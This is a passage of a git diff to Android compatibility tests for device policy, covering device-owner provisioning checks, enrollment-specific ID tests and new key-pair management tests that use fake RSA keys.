     @RequireRunOnPrimaryUser
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
-    @Test
     @EnsureHasPermission({MANAGE_PROFILE_AND_DEVICE_OWNERS})
+    @Test
     public void newlyProvisionedFullyManagedDevice_setsDeviceOwner() throws Exception {
         try {
             FullyManagedDeviceProvisioningParams params =
@@ -441,9 +431,10 @@
     }
 
     @RequireRunOnPrimaryUser
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
-    @Test
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedFullyManagedDevice_doesNotThrowException() throws Exception {
         try {
             FullyManagedDeviceProvisioningParams params =
@@ -458,9 +449,10 @@
     }
 
     @RequireRunOnPrimaryUser
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
-    @Test
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedFullyManagedDevice_canControlSensorPermissionGrantsByDefault()
             throws Exception {
         try {
@@ -478,9 +470,11 @@
     }
 
     @RequireRunOnPrimaryUser
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
-    @Test
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
+    @Test
     public void newlyProvisionedFullyManagedDevice_canOptOutOfControllingSensorPermissionGrants()
             throws Exception {
         try {
@@ -500,10 +494,10 @@
     }
 
     @RequireRunOnPrimaryUser
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
-    @Test
-    @Postsubmit(reason="new test")
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedFullyManagedDevice_leavesAllSystemAppsEnabledWhenRequested()
             throws Exception {
         try {
@@ -545,14 +539,14 @@
     }
 
     private void resetUserSetupCompletedFlag() {
-        try (PermissionContext p = sTestApis.permissions().withPermission(WRITE_SECURE_SETTINGS)) {
+        try (PermissionContext p = TestApis.permissions().withPermission(WRITE_SECURE_SETTINGS)) {
             Settings.Secure.putInt(sContext.getContentResolver(), USER_SETUP_COMPLETE_KEY, 0);
         }
         sDevicePolicyManager.forceUpdateUserSetupComplete(sContext.getUserId());
     }
 
     private void setUserSetupCompletedFlag() {
-        try (PermissionContext p = sTestApis.permissions().withPermission(WRITE_SECURE_SETTINGS)) {
+        try (PermissionContext p = TestApis.permissions().withPermission(WRITE_SECURE_SETTINGS)) {
             Settings.Secure.putInt(sContext.getContentResolver(), USER_SETUP_COMPLETE_KEY, 1);
         }
         sDevicePolicyManager.forceUpdateUserSetupComplete(sContext.getUserId());
@@ -642,4 +636,35 @@
                 .filter(packageName -> !systemApps.contains(packageName))
                 .collect(Collectors.toSet());
     }
+
+    @EnsureHasDeviceOwner
+    @Test
+    public void getCameraDisabled_adminPassedDoesNotBelongToCaller_throwsException() {
+        assertThrows(SecurityException.class, () -> sDevicePolicyManager.getCameraDisabled(
+                sDeviceState.deviceOwner().componentName()));
+    }
+
+    @EnsureHasDeviceOwner
+    @Test
+    public void getKeyguardDisabledFeatures_adminPassedDoesNotBelongToCaller_throwsException() {
+        assertThrows(SecurityException.class,
+                () -> sDevicePolicyManager.getKeyguardDisabledFeatures(
+                        sDeviceState.deviceOwner().componentName()));
+    }
+
+    @EnsureHasDeviceOwner
+    @EnsureDoesNotHavePermission(MANAGE_DEVICE_ADMINS)
+    @Test
+    public void removeActiveAdmin_adminPassedDoesNotBelongToCaller_throwsException() {
+        assertThrows(SecurityException.class, () -> sDevicePolicyManager.removeActiveAdmin(
+                sDeviceState.deviceOwner().componentName()));
+    }
+
+    @EnsureHasDeviceOwner
+    @EnsureHasPermission(MANAGE_DEVICE_ADMINS)
+    @Test
+    public void removeActiveAdmin_adminPassedDoesNotBelongToCaller_manageDeviceAdminsPermission_noException() {
+        sDevicePolicyManager.removeActiveAdmin(
+                sDeviceState.deviceOwner().componentName());
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/EnrollmentSpecificIdTest.java
similarity index 70%
rename from hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
rename to tests/devicepolicy/src/android/devicepolicy/cts/EnrollmentSpecificIdTest.java
index a45fa0a..7242892 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/EnrollmentSpecificIdTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,19 +13,35 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package android.devicepolicy.cts;
 
-package com.android.cts.deviceandprofileowner;
+import static android.Manifest.permission.LOCAL_MAC_ADDRESS;
+import static android.Manifest.permission.NETWORK_SETTINGS;
+import static android.Manifest.permission.READ_PRIVILEGED_PHONE_STATE;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
 
 import android.annotation.NonNull;
-import android.app.UiAutomation;
+import android.content.Context;
 import android.net.wifi.WifiManager;
 import android.os.Build;
 import android.telephony.TelephonyManager;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.EnrollmentSpecificId;
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.nio.ByteBuffer;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
@@ -33,61 +49,69 @@
 import javax.crypto.Mac;
 import javax.crypto.spec.SecretKeySpec;
 
-/**
- * Tests for the Enrollment-Specific ID functionality.
- *
- * NOTE: Tests in this class need to be run separately from the host-side since each
- * sets a non-resettable Organization ID, so the DPC needs to be completely removed
- * before each test.
- */
-public class EnrollmentSpecificIdTest extends BaseDeviceAdminTest {
-    private static final String[] PERMISSIONS_TO_ADOPT = {
-            "android.permission.READ_PRIVILEGED_PHONE_STATE",
-            "android.permission.NETWORK_SETTINGS",
-            "android.permission.LOCAL_MAC_ADDRESS"};
+@RunWith(BedsteadJUnit4.class)
+public final class EnrollmentSpecificIdTest {
+
     private static final String ORGANIZATION_ID = "abcxyz123";
-    private UiAutomation mUiAutomation;
+    private static final String DIFFERENT_ORGANIZATION_ID = "xyz";
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mUiAutomation = getInstrumentation().getUiAutomation();
-    }
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
 
-    public void testThrowsForEmptyOrganizationId() {
+    private static final Context sContext = TestApis.context().instrumentedContext();
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = EnrollmentSpecificId.class)
+    public void emptyOrganizationId_throws() {
         assertThrows(IllegalArgumentException.class,
-                () -> mDevicePolicyManager.setOrganizationId(""));
+                () -> sDeviceState.dpc().devicePolicyManager().setOrganizationId(""));
     }
 
-    public void testThrowsWhenTryingToReSetOrganizationId() {
-        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = EnrollmentSpecificId.class)
+    public void reSetOrganizationId_throws() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().setOrganizationId(ORGANIZATION_ID);
 
-        mDevicePolicyManager.setOrganizationId("abc");
-        final String firstEsid = mDevicePolicyManager.getEnrollmentSpecificId();
-        assertThat(firstEsid).isNotEmpty();
-
-        assertThrows(IllegalStateException.class,
-                () -> mDevicePolicyManager.setOrganizationId("xyz"));
+            assertThrows(IllegalStateException.class,
+                    () -> sDeviceState.dpc().devicePolicyManager()
+                            .setOrganizationId(DIFFERENT_ORGANIZATION_ID));
+        } finally {
+            TestApis.devicePolicy().clearOrganizationId(sDeviceState.dpc().user());
+        }
     }
 
     /**
      * This test tests that the platform calculates the ESID according to the specification and
      * does not, for example, return the same ESID regardless of the managing package.
      */
-    public void testCorrectCalculationOfEsid() {
-        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
-        mDevicePolicyManager.setOrganizationId(ORGANIZATION_ID);
-        final String esidFromDpm = mDevicePolicyManager.getEnrollmentSpecificId();
-        final String calculatedEsid = calculateEsid(ADMIN_RECEIVER_COMPONENT.getPackageName(),
-                ORGANIZATION_ID);
-        assertThat(esidFromDpm).isEqualTo(calculatedEsid);
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = EnrollmentSpecificId.class)
+    @EnsureHasPermission({READ_PRIVILEGED_PHONE_STATE, NETWORK_SETTINGS, LOCAL_MAC_ADDRESS})
+    public void enrollmentSpecificId_CorrectlyCalculated() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().setOrganizationId(ORGANIZATION_ID);
+            final String esidFromDpm = sDeviceState.dpc().devicePolicyManager()
+                    .getEnrollmentSpecificId();
+            final String calculatedEsid = calculateEsid(
+                    sDeviceState.dpc().componentName().getPackageName(),
+                    ORGANIZATION_ID);
+
+            assertThat(esidFromDpm).isEqualTo(calculatedEsid);
+        } finally {
+            TestApis.devicePolicy().clearOrganizationId(sDeviceState.dpc().user());
+        }
     }
 
     private String calculateEsid(String profileOwnerPackage, String enterpriseIdString) {
-        TelephonyManager telephonyService = mContext.getSystemService(TelephonyManager.class);
+        TelephonyManager telephonyService = sContext.getSystemService(TelephonyManager.class);
         assertThat(telephonyService).isNotNull();
 
-        WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+        WifiManager wifiManager = sContext.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
 
         final byte[] serialNumber = getPaddedHardwareIdentifier(Build.getSerial()).getBytes();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
new file mode 100644
index 0000000..16a7733
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
@@ -0,0 +1,567 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
+
+import android.content.Context;
+import android.net.Uri;
+import android.os.Process;
+import android.security.KeyChain;
+import android.security.KeyChainException;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.KeyManagement;
+import com.android.bedstead.nene.TestApis;
+import com.android.compatibility.common.util.BlockingCallback;
+import com.android.compatibility.common.util.FakeKeys;
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.testng.Assert;
+
+import java.io.ByteArrayInputStream;
+import java.io.UnsupportedEncodingException;
+import java.net.URLEncoder;
+import java.security.InvalidKeyException;
+import java.security.KeyFactory;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that a DPC can manage keys and certificate on a device by installing, generating and
+ * removing key pairs via DevicePolicyManager APIs. The instrumented test app can use the installed
+ * keys by requesting access to them and retrieving them via KeyChain APIs.
+ */
+@RunWith(BedsteadJUnit4.class)
+public final class KeyManagementTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+    private static final int KEYCHAIN_CALLBACK_TIMEOUT_SECONDS = 600;
+    private static final String RSA = "RSA";
+    private static final String RSA_ALIAS = "com.android.test.valid-rsa-key-1";
+    private static final PrivateKey PRIVATE_KEY =
+            generatePrivateKey(FakeKeys.FAKE_RSA_1.privateKey, RSA);
+    private static final Certificate CERTIFICATE =
+            generateCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
+    private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
+    private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+    private static final Context sContext = TestApis.context().instrumentedContext();
+
+    private static Uri getUri(String alias) {
+        try {
+            return Uri.parse("https://example.org/?alias=" + URLEncoder.encode(alias, "UTF-8"));
+        } catch (UnsupportedEncodingException e) {
+            throw new AssertionError("Unable to parse URI." + e);
+        }
+    }
+
+    private static void choosePrivateKeyAlias(KeyChainAliasCallback callback, String alias) {
+        /* Pass the alias as a GET to an imaginary server instead of explicitly asking for it,
+         * to make sure the DPC actually has to do some work to grant the cert.
+         */
+        try {
+            ActivityContext.runWithContext(
+                    (activity) -> KeyChain.choosePrivateKeyAlias(activity, callback, /* keyTypes= */
+                            null, /* issuers= */ null, getUri(alias), /* alias = */ null)
+            );
+        } catch (InterruptedException e) {
+            throw new AssertionError("Unable to choose private key alias." + e);
+        }
+    }
+
+    private static PrivateKey getPrivateKey(Context context, String alias) {
+        try {
+            return KeyChain.getPrivateKey(context, alias);
+        } catch (KeyChainException | InterruptedException e) {
+            throw new AssertionError("Failed to get private key." + e);
+        }
+    }
+
+    private static PrivateKey generatePrivateKey(final byte[] key, String type) {
+        try {
+            return KeyFactory.getInstance(type).generatePrivate(
+                    new PKCS8EncodedKeySpec(key));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            throw new AssertionError("Unable to get private key." + e);
+        }
+    }
+
+    private static Certificate generateCertificate(byte[] cert) {
+        try {
+            return CertificateFactory.getInstance("X.509").generateCertificate(
+                    new ByteArrayInputStream(cert));
+        } catch (CertificateException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void installKeyPair_validRsaKeyPair_success() {
+        try {
+            // Install keypair
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE,
+                            RSA_ALIAS)).isTrue();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void installKeyPair_nullPrivateKey_throwException() {
+        assertThrows(NullPointerException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                        DPC_COMPONENT_NAME, /* privKey = */ null, CERTIFICATE, RSA_ALIAS));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void installKeyPair_nullCertificate_throwException() {
+        assertThrows(NullPointerException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                        DPC_COMPONENT_NAME, PRIVATE_KEY, /* cert = */ null, RSA_ALIAS));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void installKeyPair_nullAdminComponent_throwException() {
+        assertThrows(SecurityException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                        /* admin = */ null, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS));
+    }
+
+    @Test
+    @Ignore("TODO(b/204544463): Enable when the key can be serialized")
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void installKeyPair_withAutomatedAccess_aliasIsGranted() throws Exception {
+        try {
+            // Install keypair with automated access
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+                    CERTIFICATES, RSA_ALIAS, /* requestAccess = */ true);
+
+            // TODO(b/204544478): Remove the null context
+            assertThat(sDeviceState.dpc().keyChain().getPrivateKey(/* context= */ null, RSA_ALIAS))
+                    .isNotNull();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void installKeyPair_withoutAutomatedAccess_aliasIsNotGranted() throws Exception {
+        try {
+            // Install keypair with automated access
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+                    CERTIFICATES, RSA_ALIAS, /* requestAccess = */ false);
+
+            // TODO(b/204544478): Remove the null context
+            assertThat(sDeviceState.dpc().keyChain().getPrivateKey(/* context= */ null, RSA_ALIAS))
+                    .isNull();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void removeKeyPair_validRsaKeyPair_success() {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+        } finally {
+            // Remove keypair
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS)).isTrue();
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void hasKeyPair_nonExistentAlias_false() {
+        assertThat(
+                sDeviceState.dpc().devicePolicyManager().hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void hasKeyPair_installedAlias_true() {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isTrue();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void hasKeyPair_removedAlias_false() {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isFalse();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void choosePrivateKeyAlias_aliasIsSelectedByAdmin_returnAlias() throws Exception {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+            choosePrivateKeyAlias(callback, RSA_ALIAS);
+
+            assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+                    .isEqualTo(RSA_ALIAS);
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void choosePrivateKeyAlias_nonUserSelectedAliasIsSelectedByAdmin_returnAlias()
+            throws Exception {
+        try {
+            // Install keypair which is not user selectable
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+                    CERTIFICATES, RSA_ALIAS, /* flags = */ 0);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+            choosePrivateKeyAlias(callback, RSA_ALIAS);
+
+            assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+                    .isEqualTo(RSA_ALIAS);
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void getPrivateKey_aliasIsGranted_returnPrivateKey() throws Exception {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+            // Grant alias via {@code KeyChain.choosePrivateKeyAlias}
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+            choosePrivateKeyAlias(callback, RSA_ALIAS);
+            callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+            // Get private key for the granted alias
+            final PrivateKey privateKey =
+                    getPrivateKey(TestApis.context().instrumentedContext(), RSA_ALIAS);
+
+            assertThat(privateKey).isNotNull();
+            assertThat(privateKey.getAlgorithm()).isEqualTo(RSA);
+
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void install_wasPreviouslyGrantedOnPreviousInstall_grantDoesNotPersist()
+            throws Exception {
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES, RSA_ALIAS, true);
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES, RSA_ALIAS,
+                            false);
+
+            assertThat(sDeviceState.dpc().keyChain().getPrivateKey(
+                    TestApis.context().instrumentedContext(), RSA_ALIAS))
+                    .isNull();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void getKeyPairGrants_nonExistent_throwsIllegalArgumentException() {
+        Assert.assertThrows(IllegalArgumentException.class,
+                () -> sDeviceState.dpc().devicePolicyManager()
+                        .getKeyPairGrants(NON_EXISTENT_ALIAS));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_doesNotIncludeNotGranted() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS)).isEmpty();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_includesGrantedAtInstall() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ true);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
+                    .isEqualTo(Map.of(sDeviceState.dpc().process().uid(),
+                            singleton(sDeviceState.dpc().componentName().getPackageName())));
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_includesGrantedExplicitly() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS,
+                    sContext.getPackageName());
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
+                    .isEqualTo(Map.of(Process.myUid(),
+                            singleton(sContext.getPackageName())));
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_doesNotIncludeRevoked() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ true);
+            sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS,
+                    sDeviceState.dpc().componentName().getPackageName());
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS)).isEmpty();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void isKeyPairGrantedToWifiAuth_default_returnsFalse() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+                    .isFalse();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void isKeyPairGrantedToWifiAuth_granted_returnsTrue() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToWifiAuth(RSA_ALIAS);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+                    .isTrue();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void isKeyPairGrantedToWifiAuth_revoked_returnsFalse() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToWifiAuth(RSA_ALIAS);
